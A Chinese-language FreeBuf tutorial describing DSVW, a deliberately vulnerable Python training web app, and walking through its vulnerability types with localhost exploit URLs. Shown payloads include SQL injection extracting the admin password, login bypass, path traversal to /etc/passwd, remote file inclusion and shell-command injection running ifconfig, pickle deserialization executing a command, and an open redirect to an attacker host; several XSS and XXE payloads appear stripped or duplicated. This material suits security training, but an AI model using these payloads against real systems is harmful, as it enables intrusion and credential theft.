一款輕量級Web漏洞教學演示系統(DSVW)
Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統。其系統只有一個 python 的腳本文件組成, 當中涵蓋了 26 種 Web應用漏洞環境, 並且腳本代碼行數控制在了100行以內, 當前版本v0.1m。
其作者是
Miroslav Stampar
, 對! 就是sqlmap同一個作者, 它支持大多數(流行的)Web漏洞環境與攻擊EXPLOIT, 同時各個漏洞環境還提供了相關說明與介紹的鏈接地址。
1 依賴環境
python (2.6.x 或 2.7.x)
依賴 python-lxml
2 安裝使用
直接克隆或者下載github 中的 dsvw.py 腳本文件到本地。
$ git clone git@github.com:stamparm/DSVW.git
運行下面命令啟動。
$ python dsvw.py
Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code) #v0.1k
by: Miroslav Stampar (@stamparm)
[i] running HTTP server at "127.0.0.1:65412"...
瀏覽器訪問 http://127.0.0.1:65412 截圖如下:
3. 基礎背景
3.1 資料庫
需要注意的是DSVW中的SQL資料庫使用的是SQLITE3, 並且創建了 users 與 comments 兩張表。
users 表
欄位名 | 欄位類型 |
---|---|
id | INTEGER |
username | TEXT |
name | TEXT |
surname | TEXT |
password | TEXT |
users 表中的內容:
id | username | name | surname | password |
---|---|---|---|---|
1 | admin | admin | admin | 7en8aiDoh! |
2 | dricci | dian | ricci | 12345! |
3 | amason | anthony | mason | gandalf |
4 | svargas | sandra | vargas | phest1945 |
comments 表
欄位名 | 欄位類型 |
---|---|
id | INTEGER |
comment | TEXT |
time | TEXT |
3.2 XML配置
4 漏洞類型
4.1 注入漏洞
4.1.1 Blind SQL Injection (boolean)
基於布爾型的盲注
: HTTP請求的響應體中不會明確的返回SQL的錯誤信息, 當把參數送入程序查詢時,並且在查詢條件為真的情況下返回正常頁面,條件為假時程序會重定向到或者返回一個自定義的錯誤頁面。漏洞地址
:http://127.0.0.1:65412/?id=2
EXPLOIT
:http://127.0.0.1:65412/?id=2 AND SUBSTR((SELECT password FROM users WHERE name="admin"),1,1)="7"`
4.1.2 Blind SQL Injection (time)
基於時間型的盲注
: 與布爾型盲注類似, 當把參數送入程序查詢時,通過判斷伺服器響應時所花費的時間, 如果延遲大於等於Payload中設定的值時就可判斷查詢結果為真, 否則為假。不同的BDMS使用的方法和技巧略有不同。漏洞地址
:http://127.0.0.1:65412/?id=1
EXPLOIT
:http://127.0.0.1:65412/?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name="admin"),2,1)="e") THEN (LIKE("ABCDEFG",UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
這個漏洞環境用到了 SQLITE3 中的 CASE 窗口函數與 RANDOMBLOB 來實現的基於時間的盲注。
MSQL: sleep(2)
MSSQL: WAITFOR DELAY "0:0:2"
4.1.3 UNION SQL Injection
基於聯合查詢注入
: 使用UNION運算符用於SQL注入,UNION運算符是關聯兩個表的查詢結果。攻擊者故意偽造的惡意的查詢並加入到原始查詢中, 偽造的查詢結果將被合并到原始查詢的結果返回,攻擊者會獲得其他表的信息。漏洞地址
:http://127.0.0.1:65412/?id=2,
EXPLOIT
:http://localhost:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||","||username||","||password FROM users WHERE username="admin")
4.1.4 Login Bypass
登陸繞過
: 這裡是基於SQL注入的一種繞過方式。登陸驗證的邏輯沒有驗證和過濾輸入字元直接帶到sql進行查詢,所以產生漏洞。漏洞地址
:http://localhost:65412/login?username=&password=
EXPLOIT
:http://localhost:65412/login?username=admin&password=" OR "1" LIKE "1
4.1.5 XML External Entity (local)
XML實體注入(本地)
: 在使用XML通信的服務中(如: SOAP服務)。Web系統沒有驗證與用戶通信中XML格式, 攻擊者可以構造惡意的XML文件來訪問本地伺服器上的資源信息。漏洞地址
:http://127.0.0.1:65412/?xml=%3Croot%3E%3C%2Froot%3E
EXPLOIT
:http://localhost:65412/login?username=admin&password=" OR "1" LIKE "1
4.1.6 XML External Entity (remote)
XML實體注入(遠程)
: 在使用XML通信的服務中(如: SOAP服務)。Web系統沒有驗證與用戶通信中XML格式, 攻擊者可以構造惡意的XML文件來將受害伺服器的敏感信息上傳到攻擊者的伺服器上嚴重的可以反彈shell。漏洞地址
:http://localhost:65412/login?username=&password=
EXPLOIT
:http://127.0.0.1:65412/?xml=]>&xxe;
4.1.7 Blind XPath Injection (boolean)
XPath注入
: 與SQL注入類似,當網站使用用戶提交的信息來構造XML數據的XPath查詢時,會發生XPath注入攻擊。通過將有意的畸形信息發送到網站,攻擊者可以了解XML數據的結構,或訪問他通常不能訪問的數據。 如果XML數據用於認證(例如基於XML的用戶文件),他甚至可以提升其在網站上的許可權。
漏洞地址
:http://localhost:65412/login?username=&password=
EXPLOIT
:http://127.0.0.1:65412/?name=admin" and substring(password/text(),3,1)="n
XPath 是一門在 XML 文檔中查找信息的語言。XPath 可用來在 XML 文檔中對元素和屬性進行遍歷。
XPath 是 W3C XSLT 標準的主要元素,並且 XQuery 和 XPointer 都構建於 XPath 表達之上。
因此,對 XPath 的理解是很多高級 XML 應用的基礎。
4.2 跨站漏洞
4.2.1 Cross Site Scripting (reflected)
反射型跨站腳本攻擊
: 當攻擊者在單個HTTP響應中插入瀏覽器可執行代碼(HTML或JAVASCRIPT)時, 會發生反射跨站點腳本攻擊。注入的惡意代碼不會存儲在應用程序後端, 它是非持久性的,只會影響打開惡意的鏈接或第三方網頁的用戶。
漏洞地址
:http://127.0.0.1:65412/?v=0.2
EXPLOIT
:http://127.0.0.1:65412/?v=0.2
4.2.2 Cross Site Scripting (stored)
存儲型跨站腳本攻擊
: 存儲跨站腳本是最危險的跨站腳本類型, 其原理是Web系統會將攻擊者提交的惡意代碼存儲到資料庫中或是伺服器後端里。只要受害者瀏覽到存在惡意代碼頁面, 就被執行惡意代碼。
漏洞地址
:http://127.0.0.1:65412/?comment=
EXPLOIT
:http://127.0.0.1:65412/?comment=
4.2.3 Cross Site Scripting (DOM)
DOM型跨站腳本攻擊
: 基於DOM的跨站腳本是XSS bug的事實上的名字,它是頁面上通常是JavaScript的活動瀏覽器端內容的結果,獲取用戶輸入,然後做一些不安全的事情,導致注入代碼的執行。漏洞地址
:http://127.0.0.1:65412/?#lang=en
EXPLOIT
:http://127.0.0.1:65412/?foobar#lang=en
4.2.4 Cross Site Scripting (JSONP)
JSONP劫持
: 網站中通過 JSONP 的方式來跨域(一般為子域)傳遞用戶認證後的敏感信息時,攻擊者可以構造惡意的 JSONP 調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。漏洞地址
:http://127.0.0.1:65412/?#lang=en
EXPLOIT
:http://127.0.0.1:65412/?foobar#lang=en
4.2.5 Cross Site Request Forgery
跨站請求偽造
: 會導致受害者在當前被認證的Web應用程序上執行一些 「非正常授權」 的操作。通常這類攻擊需要藉助第三方(如:通過郵件、私信、聊天發送鏈接等)的一些幫助,攻擊者可以強制Web應用程序的用戶執行攻擊者選擇的操作。當受害者是普通用戶時, CSRF攻擊可能會影響最終用戶數據和操作; 如果受害者是管理員帳戶,CSRF攻擊可能會危及整個Web應用程序系統的安全。
漏洞地址
:http://127.0.0.1:65412/?comment=
EXPLOIT
:http://127.0.0.1:65412/?v=I quit the job
">
這裡使用了標籤來自動發布了一個紅色字體的I quit the job評論。
4.3 其他漏洞
4.3.1 HTTP Parameter Pollution
HTTP參數污染
: 當使用GET或者POST方法提交參數時, 請求體中包含了多個相同名稱而不同值的參數。由於不同的語言與Web容器處理的方式不同, 結合業務場景會產生不同的影響。通過利用這些影響,攻擊者可能能夠繞過輸入驗證,觸發應用程序錯誤或修改內部變數值等風險。
漏洞地址
:http://127.0.0.1:65412/login?username=admin&password=
EXPLOIT
:http://127.0.0.1:65412/login?username=admin&password="/*&password=*/OR/*&password=*/"1"/*&password=*/LIKE/*&password=*/"1
這裡使用了HTTP參數污染來模擬繞過WAF
4.3.2 Server Side Request Forgery
伺服器端請求偽造
: 一種由攻擊者構造形成的指令並由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統資源。漏洞地址
:http://127.0.0.1:65412/?path=
EXPLOIT
:http://127.0.0.1:65412/?path=http://127.0.0.1:80
如果 IP 地址 127.0.0.1 開放了 80 埠, 那麼返回得到的信息, 否則返回一個 500 錯誤。
4.3.3 Frame Injection (phishing)
Frame注入(釣魚)
: 屬於XSS的範疇, 將HTML的標籤注入到存在漏洞的HTTP響應體中, 如: iframe標籤。漏洞地址
:http://127.0.0.1:65412/?v=0.2
EXPLOIT
:http://127.0.0.1:65412/?v=0.2
4.3.4 Frame Injection (content spoofing)
Frame注入(內容欺騙)
: 同上原理。漏洞地址
:http://127.0.0.1:65412/?v=0.2
EXPLOIT
:http://127.0.0.1:65412/?v=0.2
4.3.5 Clickjacking
點擊劫持
: 是一種惡意技術,其包括欺騙Web用戶讓他們認為正在與交互的東西的交互(在大多數情況下通過點擊, 這種技術手段運用最多的就是廣告)。這種類型的攻擊可以單獨使用或與其他攻擊結合使用,在受害者與看似無害的網頁進行交互時,可能會發送未經授權的命令或泄露機密信息。
EXPLOIT
:http://127.0.0.1:65412/?v=0.2
4.3.6 Unvalidated Redirect
未驗證的重定向
: 當Web應用程序接受不受信任的輸入時,可能會導致Web應用程序將請求重定向到包含在不受信任的輸入中的URL,從而可能導致未經驗證的重定向和轉發。通過將不受信任的URL輸入修改為惡意網站,攻擊者可能會成功啟動網路釣魚詐騙並竊取用戶憑據。
由於修改鏈接中的伺服器名稱與原始網站相同,因此網路釣魚嘗試可能具有更可信的外觀。未驗證的重定向和轉發攻擊也可用於惡意製作一個URL,該URL將通過應用程序的訪問控制檢查,然後將攻擊者轉發到他們通常無法訪問的特權功能。
漏洞地址
:http://127.0.0.1:65412/?redir=
EXPLOIT
:http://127.0.0.1:65412/?redir=http://attacker.co.nf
4.3.7 Arbitrary Code Execution
任意代碼執行
: 開發人員沒有嚴格驗證用戶輸入的數據, 在某些特殊業務場景中, 用戶可構造出惡意的代碼或系統命令, 來獲得伺服器上的敏感信息或者得到伺服器的控制許可權。漏洞地址
:http://127.0.0.1:65412/?domain=www.google.com
EXPLOIT
:http://127.0.0.1:65412/?domain=www.google.com; ifconfig
4.3.8 Full Path Disclosure
完整路徑泄露
: 全路徑泄露漏洞使攻擊者能夠看到Web應用程序在伺服器端的完整路徑(例如:/var/www/html/)。攻擊者會結合其他漏洞對Web系統進一步的攻擊(如: 寫 Webshell)。漏洞地址
:http://127.0.0.1:65412/?path=
EXPLOIT
:http://127.0.0.1:65412/?path=foobar
4.3.9 Source Code Disclosure
源碼泄露
: 該漏洞會造成允許未授權用戶獲得伺服器端應用程序的源代碼。此漏洞會造成企業內部的敏感信息泄露或容易遭受惡意攻擊者攻擊。漏洞地址
:http://127.0.0.1:65412/?path=
EXPLOIT
:http://127.0.0.1:65412/?path=dsvw.py
4.3.10 Path Traversal
路徑穿越
: 路徑遍歷攻擊(也稱為目錄遍歷)旨在訪問存儲在Web根文件夾外部的文件和目錄。通過使用 「../」 或 「..」 等相對文件路徑方式來操縱引用文件的變數,該漏洞會允許訪問存儲在文件系統上的任意文件和目錄。漏洞地址
:http://127.0.0.1:65412/?path=
EXPLOIT
:http://127.0.0.1:65412/?path=../../../../../../etc/passwd
4.3.11 File Inclusion (remote)
遠程文件包含
: 通常利用目標應用程序中實現的 「動態文件包含」 機制,允許攻擊者包括一個遠程文件。 由於對用戶輸入的數據沒有進行適當的驗證,導致出現漏洞。漏洞地址
:http://127.0.0.1:65412/?include=
EXPLOIT
:http://127.0.0.1:65412/?include=http://pastebin.com/raw.php?i=N5ccE6iH&cmd=ifconfig
4.3.12 HTTP Header Injection (phishing)
HTTP響應頭拆分(釣魚)
: 用戶提交的部分參數, 沒有經過驗證或過濾直接在響應頭中輸出, 由於HTTP的Header中使用了CRLF(url中的%0d%0a)來分割各個欄位中的數據。惡意用戶可以構造特殊的數據應該欺騙釣魚。漏洞地址
:http://127.0.0.1:65412/?charset=utf8
EXPLOIT
:http://127.0.0.1:65412/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A
4.3.13 Component with Known Vulnerability (pickle)
使用含有已知漏洞的組件(pickle)
: pickle存在一個文件序列化漏洞。漏洞地址
:http://127.0.0.1:65412/?object=%28dp0%0AS%27admin%27%0Ap1%0A%28S%27admin%27%0Ap2%0AS%27admin%27%0Ap3%0Atp4%0AsS%27dricci%27%0Ap5%0A%28S%27dian%27%0Ap6%0AS%27ricci%27%0Ap7%0Atp8%0AsS%27amason%27%0Ap9%0A%28S%27anthony%27%0Ap10%0AS%27mason%27%0Ap11%0Atp12%0AsS%27svargas%27%0Ap13%0A%28S%27sandra%27%0Ap14%0AS%27vargas%27%0Ap15%0Atp16%0As.
EXPLOIT
:http://127.0.0.1:65412/?object=cos%0Asystem%0A(S%27ping%20-c%205%20127.0.0.1%27%0AtR.%0A
這裡執行了ping -c 5 127.0.0.1 命令
4.3.14 Denial of Service (memory)
拒絕服務(memory)
: 資源消耗型的 DoS 攻擊, 通過大量的惡意請求來訪問有缺陷的服務, 從而造成伺服器的系統資源消耗(如: CPU利用率100%、內存耗盡等) 增大, 來影響正常用戶的使用。往往會造成正常用戶的無法打開或無法訪問等一系列問題。漏洞地址
:http://127.0.0.1:65412/?size=32
EXPLOIT
:http://127.0.0.1:65412/?size=9999999
5 參考鏈接
https://github.com/stamparm/DSVW
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29
https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_%28OTG-INPVAL-004%29
https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OTG-INPVAL-008%29
https://www.owasp.org/index.php/XPATH_Injection
http://www.w3school.com.cn/xpath/
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_%28OTG-INPVAL-001%29
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_%28OTG-INPVAL-002%29
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_%28OTG-CLIENT-001%29
http://blog.knownsec.com/2015/03/jsonp_security_technic/
https://sobug.com/article/detail/11
https://www.owasp.org/index.php/Content_Spoofing
https://www.owasp.org/index.php/Testing_for_Clickjacking_%28OTG-CLIENT-009%29
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
https://www.owasp.org/index.php/Full_Path_Disclosure
https://www.imperva.com/resources/glossary?term=source_code_disclosure
https://www.owasp.org/index.php/Path_Traversal
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
https://www.owasp.org/index.php/HTTP_Response_Splitting
http://www.moqifei.com/archives/609
https://www.owasp.org/index.php/Denial_of_Service
*本文作者:MyKings,轉載請註明來自FreeBuf.COM
※Google Project Shield如何抵禦DDoS攻擊?這個案例可以初探端倪
※成為高水平CISO的5大秘密,將在RSA揭曉 | RSA 2017專題
※淺談拒絕服務攻擊的原理與防禦[1] | 普通拒絕服務攻擊
※使用Kali Nethunter破解802.1x安全性WiFi
※色情網站YouPorn發布最高達2.5萬美元的漏洞獎勵計劃
TAG:FreeBuf |
※NTP漏洞可致Windows系統觸發DoS
※導軌上的戰爭–M-Lok系統 VS Keymod系統
※德國VI系統推出56Gbps NRZ VCSEL驅動和TIA晶元
※CRISPR女神Jennifer再發重量級Reviews:CRISPR-Cas系統引領藥物發現途徑和疾病治療方案的革新
※Node中POSIX文件系統包裝器
※LG訂購Canon Tokki兩套6代柔性OLED沉積系統
※蘋果發布外置GPU 使MacBook支持高端VR系統
※微軟發布Windows 10 S系統ISO鏡像:MSDN訂閱戶可下
※APG IV系統學習筆記分享(一)
※NUCLEIC-CARD採集系統和4N6FLOQSwabsDNA採集系統強勢組合,助力你的身份鑒定實驗!
※Windows10系統PHP開發環境配置
※CMS聯合Fraunhofer IWU開發混合熱塑性3D列印系統
※Nature:「武林高手」細菌CRISPR系統VS病毒,以快為尊
※Apple 或將為 iPhone 8 配備名為 VSCEL 的 3D 激光掃描系統
※Cell:重磅!揭示抗CRISPR蛋白阻斷CRISPR系統機制
※HiFiMAN SHANGRI-LA 靜電耳機系統全國巡迴之深圳站
※曝LG V30全新UX系統界面 配備3D Touch
※微軟發布Win10 S系統ISO鏡像:MSDN訂閱戶可下
※本級艦配備SWY-3武器指揮系統與ACDS作戰系統